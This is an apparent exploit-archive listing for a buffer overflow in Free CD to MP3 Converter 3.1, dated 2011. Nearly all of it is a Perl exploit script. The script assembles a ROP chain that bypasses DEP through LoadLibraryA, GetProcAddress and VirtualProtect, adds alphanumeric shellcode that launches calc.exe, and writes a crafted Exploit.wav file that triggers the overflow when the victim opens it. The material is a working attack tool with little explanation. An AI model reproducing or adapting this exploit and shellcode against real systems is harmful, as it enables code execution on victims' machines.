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Free CD To MP3 Overflow 3.1 Buffer Overflow

Free CD To MP3 Overflow 3.1 Buffer Overflow
Posted Aug 7, 2011
Authored by C4SS!0 G0M3S

Free CD To MP3 Converter universal buffer overflow exploit with DEP bypass.

tags | exploit, overflow
SHA-256 | 1fa31bc3bb26d99cbbe2f43552eb1367a924b3b1b7387d71f51e1eb8b03054a9

Free CD To MP3 Overflow 3.1 Buffer Overflow

Change Mirror Download
#!/usr/bin/perl
#
#[+]Exploit Title: Free CD to MP3 Converter 3.1 Universal DEP Bypass Exploit
#[+]Date: 07\08\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.exploit-db.com/application/15480/
#[+]Version: 3.1
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#Dep bypass method:
#LoadLibraryA("kernel32.dll") + GetProcAddress(%EAX,"VirtualProtect") + VirtualProtect(%ESP,0x400,0x40,0x10007064) == Universal DEP BYPASS. :)
#
#

print q{

Created By C4SS!0 G0M3S
E-mail louredo_@hotmail.com
Blog net-fuzzer.blogspot.com

};
sleep(2);
#Endereco para LoadLibraryA 0x672CA660
##################################ROP FOR LOAD "kernel32.dll"#############################################
my $rop = pack('V',0x00418764); # POP ESI # RETN
$rop .= pack('V',0x672CA660); # Address to LoadLibraryA
$rop .= pack('V',0x00412d09); # POP EBP # RETN
$rop .= pack('V',0x004AD39B); # ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN // Endereço de retorno da funçao LoadLibraryA
$rop .= pack('V',0x00472be9); # PUSHAD # POP EBX # RETN
$rop .= "kernel32.dll\x00";
$rop .= "A" x 27;
##################################ROP END HERE###########################################################

#Endereço para GetProcAddress 0x672CA668
##################################ROP FOR Function GetProcAddress########################################
$rop .= pack('V',0x0048004d); # POP EBP # RETN
$rop .= "\x00\x00\x00\x00";
$rop .= pack('V',0x00409a7f); # POP EDI # RETN
$rop .= pack('V',0x672CA668); # Endereço para GetProcAddress
$rop .= pack('V',0x0042ad45); # PUSH ESP # POP ESI # RETN
$rop .= pack('V',0x004a1b0e); # POP ESI # RETN
$rop .= pack('V',0x004AD39B); # ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN // Endereço de retorno da funçao GetProcAddress
$rop .= pack('V',0x00421953); # ADD EBP,EAX # RETN
$rop .= pack('V',0x004c0634); # PUSHAD # RETN
$rop .= "VirtualProtect\x00";
$rop .= "A" x 25;
##################################ROP END HERE###########################################################

#################################ROP FOR VirtualProtect#################################################
$rop .= pack('V',0x0042c786); # XCHG EAX,ESI # RETN // Endereço da VirtualProtect
$rop .= pack('V',0x004d2c70); # POP EBP # RETN
$rop .= pack('V',0x0047E58B); # JMP ESP // Endereço de retorno da funçao VirtualProtect
$rop .= pack('V',0x0046abf7); # POP EBX # RETN
$rop .= pack('V',0x00000400); # O valor de dwSize
$rop .= pack('V',0x00402bb4); # POP EDX # RETN
$rop .= pack('V',0x00000040); # Valor de flNewProtect
$rop .= pack('V',0x10002b9c); # POP ECX # RETN
$rop .= pack('V',0x10007064); # Valor de lpflOldProtect
$rop .= pack('V',0x00472be9); # PUSHAD # POP EBX # RETN
#################################ROP END HERE###########################################################
my $shellcode =
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIONMRU2SJXH9KHNHYD4FDK".
"D0XGC9YX1FRP1T0B2TCRPEBK3RJMNZ8GMLV879DONSVQXK7FWLCSIJ5VLO0WXWYWVLDO0O2SZGL62OVO".
"RP3N3DMMERZJDY3R9N0Q695JE6J3KEUYGM5LNQTR0EK3PUDYY0PN3MY3NQ4KX980PGSPPN3N5L3Q5RI9". #Shellcode Alpha Numeric WinExec "Calc.exe"
"GQ3J5M6MO9KMMOQ7OHZT2X2SLLUKOS1L6VDN6QKJWUGTV07YVMHMKQY4N5NG4WLE4QML9QWOOELVEXMQ". #Baseaddress EAX.
"2LFNN2UMWFWE2KSPLWK8OSWDJ1O8NOTGPQK1K0KJGZJ5OE8VCNW9T4Q2RUMOZ6NCTL9TSLKJNZKW0NMN".
"LSQMFWOHKHLLX7ON4SNZQ4NQO4QMVLNMZPVD89ULWKNTQMP0M1S3L6SNXMWBYNPPIT73NOXWKRRVZRN8".
"WDN0SUK8WOMV4DNNTWPYWN27KA";

my $buf = "A" x 4112;
$buf .= $rop;
$buf .= "\x8B\xC4\x83\xC0\x20\xFF\xD0".("A" x 21).$shellcode;
print "\t\t[+]Creating File Exploit.wav...\n";
sleep(1);
open(f,">Exploit.wav") || die "[-]Error: $!\n";
print f $buf;
close f;
print "\t\t[+]File Exploit.wav Created Successfully.\n";
sleep(1);


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